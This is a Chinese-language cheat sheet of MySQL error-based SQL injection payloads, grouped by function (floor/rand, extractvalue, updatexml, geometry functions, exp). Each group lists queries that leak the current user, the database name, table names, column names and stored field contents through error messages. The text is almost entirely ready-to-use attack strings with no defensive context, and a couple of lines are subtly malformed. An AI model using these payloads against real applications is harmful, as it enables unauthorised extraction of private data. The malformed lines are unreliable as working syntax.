1、floor()
收集数据库信息:user()、database()....
select * from user where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
爆表:
select * from user where id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2),'~',(table_name))x from information_schema.tables group by x)a);
爆字段:
select * from user where id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2),'~',(column_name))x from information_schema.columns group by x)a);
字段内容:
select * from user where id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2),'~',(字段名))x from 表名 group by x)a);
产生报错的原理:https://www.2cto.com/article/201604/498394.html
2、extractvalue()
MySQL 5.1.5 以后可以用
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
爆表名:
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables limit 1,1),0x7e)));
爆字段:
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns limit 1,1),0x7e)));
字段内容:
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select 字段名 from 表名 limit 1,1),0x7e)));
3、updatexml():
MySQL 5.1.5 以后可以用
select * from user where id=1 and (updatexml(1,concat('~',(select database()),'~'),1));
有时候可能需要将‘~’写成十六进制形式
select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
爆表名
select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1));
爆字段
select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名',0x7e),1));
字段内容
select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from 表名),0x7e),1));
下面的函数在我的mysql5.7里无法实现。
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));